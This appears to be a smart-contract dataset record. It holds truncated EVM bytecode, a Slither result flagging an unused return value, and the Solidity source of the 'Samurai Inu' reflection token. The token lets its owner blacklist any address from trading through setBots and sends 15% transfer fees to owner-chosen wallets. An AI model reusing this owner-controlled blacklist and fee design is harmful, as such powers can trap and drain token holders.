60075433600160a060020a03908116911614610a4657600080fd5b610a5487878787878761133b565b1515610a5f57600080fd5b5060019695505050505050565b60006b204fce5e3e25026110000000821115610a8757600080fd5b600b5461271090810383020492915050565b60005433600160a060020a03908116911614610ab457600080fd5b600160a060020a0381161515610ac957600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610b4f57600080fd5b600160a060020a0385161515610b6457600080fd5b600160a060020a0384161515610b7957600080fd5b600160a060020a0383161515610b8e57600080fd5b600160a060020a0382161515610ba357600080fd5b6127108110610bb157600080fd5b60078054600160a060020a0319908116600160a060020a03888116919091179283905560088054831688831617908190556009805484168884161790819055600a80549094168784161793849055600b8690557f3947c41d66d0c69ad3705dc966ce197b0f725aa3c6b50043506752330ed4eb7f9483169391831692908116911685604051600160a060020a039586168152938516602085015291841660408085019190915293166060830152608082015260a001905180910390a15050505050565b60015433600160a060020a03908116911614610c8f57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610d2957600080fd5b600160a060020a0381161515610d3e57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610df8611bb6565b600580548060200260200160405190810160405280929190818152602001828054801561076357602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610745575050505050905090565b6000806000806000600a60149054906101000a900460ff161515610e7d5760009450610fe0565b600a54600160a060020a038a8116911614801590610ea95750600a54600160a060020a03898116911614155b15610eb75760009450610fe0565b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610ef0575050600954600160a060020a031686610f33565b600160a060020a03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610f2a5750506009548790600160a060020a0316610f33565b60009450610fe0565b600854600160a060020a031663144a275282848a60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610f9f57600080fd5b6102c65a03f11515610fb057600080fd5b50505060405180519050925086670de0b6b3a7640000610fcf85610a6c565b02811515610fd957fe5b0493508394505b50505050949350505050565b60005433600160a060020a0390811691161461100757600080fd5b600160a060020a03811660009081526002602052604090205460ff161561102d57600080fd5b6004546032901061103d57600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff1916600190811790915560048054909181016109438382611b8d565b6000805433600160a060020a039081169116146110d857600080fd5b600160a060020a03821660009081526002602052604090205460ff1615156110ff57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156106ec5781600160a060020a031660048281548110151561114457fe5b600091825260209091200154600160a060020a031614156112205760048054600019810190811061117157fe5b60009182526020909120015460048054600160a060020a03909216918390811061119757fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906111d39082611b8d565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a16106ec565b600101611121565b600754600160a060020a031681565b60005433600160a060020a0390811691161461125257600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561128357600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600a5474010000000000000000000000000000000000000000900460ff1681565b600a54600160a060020a031681565b600054600160a060020a031681565b600080600061131786611a30565b915061132287611a30565b905061133085828487611af4565b979650505050505050565b6000808073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038a161480611386575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038816145b151561139157600080fd5b600a54600160a060020a038a8116911614806113ba5750600a54600160a060020a038881169116145b15156113c557600080fd5b831561141957600085116113d857600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561140e5734881461140957600080fd5b611419565b341561141957600080fd5b61142589888a88611309565b90506000811161143457600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156116e857600954600160a060020a031663d0e30db0346040518263ffffffff1660e060020a0281526004016000604051808303818588803b151561149857600080fd5b6125ee5a03f115156114a957600080fd5b5050600954600854349350600160a060020a03918216925063dd62ed3e9130911660006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561151857600080fd5b6102c65a03f1151561152957600080fd5b5050506040518051905010156115bd57600954600854600160a060020a039182169163095ea7b3911660001960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156115a157600080fd5b6102c65a03f115156115b257600080fd5b505050604051805150505b600854600954600160a060020a0391821691630621b4f69116348a8560006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201526024810193909352921660448201526064810191909152608401602060405180830381600087803b151561163757600080fd5b6102c65a03f1151561164857600080fd5b50505060405180519250508082101561166057600080fd5b86600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156116bd57600080fd5b6102c65a03f115156116ce57600080fd5b5050506040518051905015156116e357600080fd5b6119b4565b88600160a060020a03166323b872dd33308b60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561175257600080fd5b6102c65a03f1151561176357600080fd5b50505060405180519050151561177857600080fd5b6008548890600160a060020a03808c169163dd62ed3e9130911660006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156117e057600080fd5b6102c65a03f115156117f157600080fd5b50505060405180519050101561188257600854600160a060020a03808b169163095ea7b3911660001960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561186657600080fd5b6102c65a03f1151561187757600080fd5b505050604051805150505b600854600954600160a060020a0391821691630621b4f6918c918c91168560006040516020015260405160e060020a63ffffffff8716028152600160a060020a0394851660048201526024810193909352921660448201526064810191909152608401602060405180830381600087803b15156118fe57600080fd5b6102c65a03f1151561190f57600080fd5b50505060405180519250508082101561192757600080fd5b600954600160a060020a0316632e1a7d4d8360405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561196f57600080fd5b6102c65a03f1151561198057600080fd5b505050600160a060020a0386166108fc82150282604051600060405180830381858888f1935050505015156119b457600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a858b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611a615760129150611aee565b50600160a060020a038216600090815260066020526040902054801515611aea5782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611ac857600080fd5b6102c65a03f11515611ad957600080fd5b505050604051805190509150611aee565b8091505b50919050565b60006b204fce5e3e25026110000000851115611b0f57600080fd5b69d3c21bcecceda1000000821115611b2657600080fd5b838310611b595760128484031115611b3d57600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611b85565b60128385031115611b6957600080fd5b828403600a0a670de0b6b3a764000002828602811515611b5157fe5b949350505050565b815481835581811511611bb157600083815260209020611bb1918101908301611bc8565b505050565b60206040519081016040526000815290565b61057d91905b80821115611be25760008155600101611bce565b50905600a165627a7a72305820e4371471cd5a228f819bbcb60b3cc7ffbb2ed61f95ddd65b77442d5df3de3dda0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,985
0x14e45739aa7c3f851012c3b84f670ba643846888
/** *Submitted for verification at Etherscan.io on 2021-07-21 */ /* Twitter: https://twitter.com/Samurai_INUs 🐥 Website: https://samuraiinu.net/ Telegram: https://t.me/Samurai_Inus 💌 https://dextools.io/app/uniswap/pair-explorer/0x14e45739aa7c3f851012c3b84f670ba643846888 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SamuraiInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Samurai Inu"; string private constant _symbol = 'SAMINU️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 12; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f53616d7572616920496e75000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f53414d494e55efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611